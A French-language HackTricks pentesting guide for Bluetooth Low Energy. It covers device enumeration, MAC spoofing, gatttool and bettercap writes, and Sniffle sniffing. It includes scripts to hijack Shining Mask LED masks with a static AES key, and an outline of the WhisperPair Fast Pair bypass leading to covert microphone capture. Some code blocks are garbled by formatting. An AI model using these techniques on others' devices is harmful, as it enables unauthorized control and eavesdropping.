Pentesting BLE - Bluetooth Low Energy

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Introduction

Disponible depuis la spécification Bluetooth 4.0, BLE n’utilise que 40 canaux, couvrant la plage 2400 à 2483,5 MHz. En revanche, le Bluetooth traditionnel utilise 79 canaux dans cette même plage.

Les appareils BLE communiquent en envoyant des advertising packets (beacons) ; ces paquets diffusent l’existence de l’appareil BLE aux autres appareils à proximité. Ces beacons peuvent parfois send data, aussi.

L’appareil écouteur, appelé aussi appareil central, peut répondre à un advertising packet par une SCAN request envoyée spécifiquement à l’appareil faisant l’advertising. La response à ce scan utilise la même structure que le advertising packet avec des informations supplémentaires qui n’ont pas pu tenir dans la requête d’advertising initiale, comme le nom complet de l’appareil.

L’octet de préambule synchronise la fréquence, tandis que l’adresse d’accès sur quatre octets est un connection identifier, utilisée dans les scénarios où plusieurs appareils tentent d’établir des connexions sur les mêmes canaux. Ensuite, la Protocol Data Unit (PDU) contient les advertising data. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV_NONCONN_IND et ADV_IND. Les appareils utilisent le type de PDU ADV_NONCONN_IND s’ils don’t accept connections, transmettant des données uniquement dans le advertising packet. Les appareils utilisent ADV_IND s’ils allow connections et stop sending advertising packets une fois qu’une connection a été established.

GATT

Le Generic Attribute Profile (GATT) définit comment le device should format and transfer data. Lorsque vous analysez la surface d’attaque d’un appareil BLE, vous vous concentrerez souvent sur le GATT (ou les GATTs), car c’est ainsi que la device functionality gets triggered et que les données sont stockées, groupées et modifiées. Le GATT dresse la liste des caractéristiques, descriptors et services d’un appareil dans un tableau sous forme de valeurs sur 16 ou 32 bits. Une characteristic est une valeur de data sent entre l’appareil central et le périphérique. Ces caractéristiques peuvent avoir des descriptors qui provide additional information about them. Les characteristics sont souvent grouped en services si elles sont liées à l’exécution d’une action particulière.

Énumération

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool permet d’établir une connexion avec un autre appareil, de lister les caractéristiques de cet appareil, et de lire et écrire ses attributs.
GATTTool peut lancer un shell interactif avec l’option -I :

Utilisation interactive de GATTTool et exemples ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing et contrôle actif des appareils BLE non appairés

Beaucoup de périphériques BLE peu coûteux n’appliquent pas le pairing/bonding. Sans bonding, le Link Layer encryption n’est jamais activé, donc le trafic ATT/GATT est en clair. Un off-path sniffer peut suivre la connexion, décoder les opérations GATT pour apprendre les characteristic handles and values, et tout host à proximité peut alors se connecter et rejouer ces writes pour contrôler l’appareil.

Sniffing with Sniffle (CC26x2/CC1352)

Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashé avec le firmware Sniffle du NCC Group.

Install Sniffle and its Wireshark extcap on Linux:

Installer Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Flasher le Sonoff avec le firmware Sniffle (assurez-vous que votre périphérique série correspond, par ex. /dev/ttyUSB0) :

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Capturez dans Wireshark via l’extcap Sniffle et pivot rapidement vers state-changing writes en filtrant :

_ws.col.info contains "Sent Write Command"

Cela met en évidence les ATT Write Commands depuis le client ; le handle et la value correspondent souvent directement à des actions de l’appareil (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).

Exemples rapides de Sniffle CLI :

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Sniffer alternatif : Nordic’s nRF Sniffer for BLE + plugin Wireshark fonctionne aussi. Sur les dongles Nordic petits/bon marché, vous réécrivez généralement le bootloader USB pour charger le firmware du sniffer, donc soit vous gardez un dongle sniffer dédié, soit vous avez besoin d’un J-Link/JTAG pour restaurer le bootloader ensuite.

Contrôle actif via GATT

Une fois que vous avez identifié un handle de caractéristique écrivable et la valeur dans le trafic sniffé, connectez-vous en tant que central et effectuez la même Write :

  • Avec Nordic nRF Connect for Desktop (BLE app) :

  • Sélectionnez le dongle nRF52/nRF52840, scannez et connectez-vous à la cible.

  • Parcourez la base GATT, localisez la caractéristique cible (a souvent un nom convivial, p.ex., Alert Level).

  • Effectuez un Write avec les octets sniffés (p.ex., 01 pour déclencher, 00 pour arrêter).

  • Automatiser sur Windows avec un dongle Nordic en utilisant Python + blatann :

Exemple Python blatann write (Windows + dongle Nordic) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Étude de cas : détournement de masques LED BLE (Shining Mask family)

Des masques LED BLE bon marché, white‑labeled, contrôlés par l’application “Shining Mask” acceptent des écritures depuis n’importe quel central à proximité sans pairing/bonding. L’app utilise GATT vers une caractéristique de commande et une caractéristique de données ; les commandes sont chiffrées AES‑ECB avec une clé statique codée en dur dans l’app, tandis que les données d’image en masse ne sont pas chiffrées.

UUIDs clés sur ces appareils :
- Caractéristique d’écriture de commande : d44bc439-abfd-45a2-b575-925416129600
- Caractéristique de notification : d44bc439-abfd-45a2-b575-925416129601
- Caractéristique des données d’image : d44bc439-abfd-45a2-b575-92541612960a

Écritures GATT non authentifiées
- Aucun pairing/bonding requis. Tout hôte peut se connecter et écrire sur l’UUID de commande pour changer la luminosité, sélectionner des images, lancer des animations, etc.
- Opérations courantes observées : LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Format de trame des commandes AES à clé statique
- Trame = longueur 1‑octet, op ASCII (p.ex., b"LIGHT"), args, padding à 16, chiffrée AES‑ECB avec la clé statique depuis l’app.
- Clé statique connue (hex) : 32672f7974ad43451d9c6c894a0e8764

Script Python d’aide pour chiffrer et envoyer une commande (exemple : définir la luminosité max) :
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Flux de téléversement d’image

  • Après un encrypted DATS handshake, des raw chunks sont écrits unencrypted sur la data characteristic …960a.
  • Packet format: [len][seq][payload]. Empiriquement, ~100 bytes payload par packet fonctionne de façon fiable.
Pseudo-code minimal pour le téléversement d'image ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **Discovery :** Scanner les advertisements BLE pour **service UUID 0xFE2C** (Google Fast Pair). Les appareils en mode appairage exposent typiquement un badge d'appairage ; même hors du mode appairage, le service Fast Pair peut répondre via GATT.
- **Sonde non-invasive (vérification de l'application des signatures) :**
1. Se connecter via GATT au service Fast Pair et **lire le Model ID**.
2. **Écrire une valeur Key-Based Pairing (KBP) sans signature**. Si le périphérique accepte l'écriture KBP non signée, il est susceptible du contournement de la signature (WhisperPair/CVE-2025-36911). Un rejet indique un correctif ; les échecs peuvent être non concluants si l'appareil est déjà appairé.
- **BLE → BR/EDR pivot :** Envoyer une **KBP Request** et parser la **réponse chiffrée** pour récupérer l'**adresse BR/EDR** de la cible. Utiliser un appel de bonding classique (p. ex. Android **`createBond(<BR/EDR address>)`**) pour compléter un appairage non autorisé. Lorsque supporté, écrire un **Account Key** persiste l'association.
- **Abus du microphone après bonding :** Après le bonding, ouvrir **HFP** et démarrer **SCO audio** pour obtenir un flux micro en direct pour écoute/enregistrement (p. ex. sauvegarde en M4A). Cette chaîne transforme l'acceptation d'un KBP non signé en capture audio à distance sans le consentement de l'utilisateur.
- **Recherche/détection :** Rechercher du trafic GATT Fast Pair suivi immédiatement par des tentatives de **bonding classiques vers l'adresse BR/EDR retournée dans KBP**, ainsi que des écritures KBP sans signature. Faire appliquer la validation des signatures sur KBP et demander une confirmation utilisateur pour l'appairage casse la chaîne.

## Operational notes

- Préférer Sonoff+Sniffle sur Linux pour un saut de canal robuste et le suivi des connexions. Garder un sniffer Nordic de rechange.
- Sans pairing/bonding, un attaquant à proximité peut observer les écritures et rejouer/fabriquer les siennes vers des caractéristiques écrites non authentifiées.

## References

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>